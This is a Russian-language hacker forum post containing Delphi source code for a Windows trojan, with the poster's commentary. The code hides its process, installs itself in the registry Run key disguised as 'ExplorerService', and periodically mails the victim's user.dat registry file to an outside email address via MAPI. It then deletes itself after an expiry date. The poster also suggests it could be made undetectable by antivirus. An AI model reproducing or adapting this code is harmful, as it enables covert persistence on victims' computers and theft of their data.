Показать сообщение отдельно

  #15  
Старый 18.06.2012, 01:00
mc_koreia
Новичок
Регистрация: 03.06.2012
Сообщений: 7
С нами: 7337846

Репутация: 0
По умолчанию

uses

Windows,
Registry,

Mapi,

SysUtils;
procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess';

procedure Hide; assembler;

asm

push 1

push 0

call RegisterServiceProcess;

end;
Reg:=TRegistry.Create;

with Reg do

begin

if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion \Run', True) then

begin

Str:=ReadString('ExplorerService');

if Str <> ParamStr(0) then WriteString('ExplorerService', ParamStr(0));

CloseKey;

OpenKey('SOFTWARE\mmuser', True);

try

if StrToDate(ReadString('DateResolve')) > Now then

begin

Send:=True;

WriteString('DateResolve', DateToStr(Now+30));

end

else

Send:=False;

if StrToDate(ReadString('DateExpiration')) <= Now then

Xapakipi:=True

else

Xapakipi:=False;

except

WriteString('DateResolve', DateToStr(Now));

WriteString('DateExpiration', DateToStr(Now+121));

end;

CloseKey;

end;

Из листинга видно, что для запуска себя после рестарта виндовза достаточно прописать путь к себе, любимому, в HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curre ntVersion\Run. В него прописываем ключ с произвольным именем и содержанием = "путь_к_трояну". Попутно в первый раз дописываем свои параметры DateResolve, чтобы в следующий раз знать, когда нужно отсылать файлы.

Кроме DateResolve запишем и DateExpiration - дату, после которой нужно будет просто вырубиться, прибив свою тушку перед этим. Но как это сделать, если виндовз не дает доступа (удалять и перезаписывать) к файлу, из которого запущен? Можно сильно извращаться с разными параметрами или создавать BATники, но в данном случае гораздо проще сделать так:
if Xapakipi then

begin

RootKey:=HKEY_LOCAL_MACHINE;

OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion \RunOnce', True);

WriteString('LMD', 'del "'+ParamStr(0)+'"');

Send:=False;

end;

end;

Reg.Free;
if not Send then Exit;
repeat

if MAPILogon(0, nil, nil, 0, 0, @Handle) = 0 then

try

ZeroMemory(@Msg, sizeof(Msg));

with Msg do

begin

lpszNoteText:='message delivery. notification system v.01 |';

lpszSubject:=nil;

nRecipCount:=1;

GetMem(lpRecips, sizeof(TMapiRecipDesc));

ZeroMemory(lpRecips, sizeof(TMapiRecipDesc));

with lpRecips^ do

begin

ulRecipClass:=MAPI_TO;

lpszName:='Xakep';

lpszAddress:='SMTP:konung@ic.ru';

end;

nFileCount:=1;

GetMem(lpFiles, sizeof(TMapiFileDesc));

ZeroMemory(lpFiles, sizeof(TMapiFileDesc));

with lpFiles^ do

begin

GetMem(lpszPathName, 144);

GetWindowsDirectory(lpszPathName, 144);

StrCat(lpszPathName, 'user.dat');

nPosition:=StrLen(lpszNoteText)-4;

end;

MAPISendMail(Handle, 0, Msg, 0, 0);

FreeMem(lpRecips, sizeof(TMapiRecipDesc));

FreeMem(lpFiles^.lpszPathName, 144);

FreeMem(lpFiles, sizeof(TMapiFileDesc));

end;

finally

MAPILogoff(Handle, 0, 0, 0);

Exit;

end;

Sleep(3*60*1000);

until False;
Я бы это предпочел, чем эти "фэйки игры школоты", и кста этот код можно в 1000 раз сделать эффективней, чтоб не один антивирус не палил, но вирус долго не проживет, максимум 2 дня, потом на него зашиту напишут, да наверное только в этом и минус...
 
Ответить с цитированием